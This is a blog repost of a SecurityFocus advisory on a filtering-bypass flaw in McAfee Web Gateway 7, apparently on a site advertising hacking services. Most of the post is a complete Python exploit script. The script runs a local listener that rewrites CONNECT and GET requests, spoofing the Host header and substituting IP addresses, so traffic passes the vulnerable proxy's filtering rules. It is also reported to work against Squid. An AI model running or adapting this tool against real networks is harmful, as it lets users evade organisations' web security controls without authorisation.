Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863108391

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/53015/info

McAfee Web Gateway is prone to a security-bypass vulnerability because it fails to properly enforce filtering rules.

A successful attack will allow an attacker to bypass intended security restrictions; this may aid in other attacks.

McAfee Web Gateway 7 is vulnerable; other versions may also be affected.

import socket,struct,sys,time
from threading import Thread


#The timeOut can be changed if the proxy is slow.
#Tested in GMail, Facebook, Youtube and several blocked sites.
#The proxy get the Host field of the http header and do not verify anything else.
#It trusts on the HTTP Header and it can be modified by the attacker.

timeOut = 0.8
isGet = 0
hostNameG = ""
pacoteGet = ""
port = 8080 #Listening port
proxyAddr = "vulnerableProxy.com" #vulnerable proxy
proxyPort = 8080 # proxy port

def handle(client,globalSock):
	
	client.settimeout(timeOut)
	
	global hostNameG
	

	while 1:
		
		dados = ""
		tam = 0
		while 1:
                        try:
                                dados2 = client.recv(1024)
                                tam = tam + len(dados2)
                                dados = dados + dados2
                        except socket.timeout:
                               
                                break

		
		dd = dados.find("CONNECT") #if the packet is a CONNECT METHOD
		if dd != -1:
		  dd2 = dados.find(":")
		  hostName = dados[dd+8:dd2]
		  
		  ipAddr = socket.gethostbyname(hostName) #changing the method to connect to the ip address, not the dns domain
		  pacote = dados
		  hostHeader = "Host: " + hostName
		  pacote = pacote.replace(hostHeader, "Host: www.uol.com.br") #changing the host field with a value that is accepted by the proxy
		  pacote = pacote.replace(hostName, ipAddr) #changind domain for ip
		  
		  
		  
		  dados = pacote
		
		getd = dados.find("GET ")
		getd2 = dados.find("//")
		getd3 = dados.find("/", getd2+2)
		hostName = dados[getd2+2:getd3]
		
		
		if getd != -1:
		  globalSock.close()
		  globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		  globalSock.connect((proxyAddr,proxyPort))
		  globalSock.settimeout(timeOut)
		  getd2 = dados.find("//")
		  getd3 = dados.find("/", getd2+2)
		  
		  hostName = dados[getd2+2:getd3]
		  
		  proxyAuth = ""
		  proxyAuthN = dados.find("Proxy-Authorization:")
		  if proxyAuthN != -1:
		    proxyAuthNN = dados.find("\r\n", proxyAuthN)
		    proxyAuth = dados[proxyAuthN:proxyAuthNN]
		    
		    
		  ipAddr = socket.gethostbyname(hostName)
		  
		  info = "CONNECT " + ipAddr + ":80 HTTP/1.1\r\n"
		  if proxyAuthN != -1:
		    info += proxyAuth + "\r\n"
		  
		  info += "Host: www.uol.com.br\r\n\r\n"
		  
		  globalSock.send(info)
		  tam = 0
		  gdata = ""
		  
		  while 1:
			try:
				
				gdata2 = globalSock.recv(1024)
				
				tam = tam + len(gdata2)
				gdata = gdata + gdata2
				
				if len(gdata2) == 0: 
					break
				
				
			except socket.timeout:
				
				break
		  
		
		
		  
		
		globalSock.send(dados)
		tam = 0
		gdata = ""
		
		while 1:
			try:
				
				gdata2 = globalSock.recv(1024)
				
				if len(gdata2) > 0:
					client.send(gdata2)
				
				tam = tam + len(gdata2)
				gdata = gdata + gdata2
				
				if len(gdata2) == 0: 
					break
				
				
			except socket.timeout:
				
				break
		
		


print 'Proxy Bypass'
print 'by Gabriel Menezes Nunes'
print 'Tested on McAfee Web Gateway 7 and Squid Proxy'
sockzao = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Attacked Proxy:',
print proxyAddr
print 'Listening on',
print port
sockzao.bind(("",port))

sockzao.listen(6)

while 1:
	print 'Waiting for connections'
	client, address = sockzao.accept()
	print 'Client Connected'
	print address
	globalSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	globalSock.connect((proxyAddr,proxyPort))
	globalSock.settimeout(timeOut)

	t = Thread(target=handle, args=(client,globalSock,))
	t.start()